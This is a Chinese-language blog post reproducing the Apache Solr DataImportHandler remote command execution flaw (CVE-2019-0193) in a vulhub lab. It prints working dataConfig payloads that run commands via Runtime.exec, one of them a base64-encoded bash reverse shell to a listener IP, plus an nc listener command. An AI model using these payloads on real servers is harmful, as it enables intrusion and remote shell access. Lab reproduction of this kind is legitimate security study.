Apache Solr 遠端命令執行漏洞復現(CVE-2019-0193)
一.漏洞介紹
Apache Solr 是一個開源的搜尋伺服器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。此次漏洞出現在Apache Solr的DataImportHandler,該模組是一個可選但常用的模組,用於從資料庫和其他源中提取資料。它具有一個功能,其中所有的DIH配置都可以通過外部請求的dataConfig引數來設定。由於DIH配置可以包含指令碼,因此攻擊可以通過構造危險的請求,從而造成遠端命令執行。
如果想了解更多,參考:https://paper.seebug.org/1009/
二.影響範圍
Solr影響的範圍較廣,版本不限於8.2.
三.操作步驟
1.開啟靶場
靶場位置:vulhub-master/solr/CVE-2019-0193
2.訪問靶場,進行復現
靶場不需要登入,已經是管理員頁面了,直接訪問就可以了。
3.執行命令
docker-compose exec solr bash bin/solr create_core -c test2 -d example/example-DIH/solr/db
可以看到這個已經執行成功了,重新整理頁面就可以知道。
在添加了核心之後,將使用POC對漏洞進行復現。在Configuration中新增下面的POC;
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/CVE-2019-0193");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
在新增之後,返回虛擬機器中進行檢視,
4.修改POC程式碼
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
5.監聽埠,反彈shell
命令:nc -lnvp 1234
在進行監聽操作之後,我發現並沒有反彈shell,也毫無反應,難道就只存在檔案的寫入嗎?
可是,在看見其他文章時,也可以反彈啊,這是為什麼?試了好幾遍還是不可以,
有點頭大。
歡迎一起交流。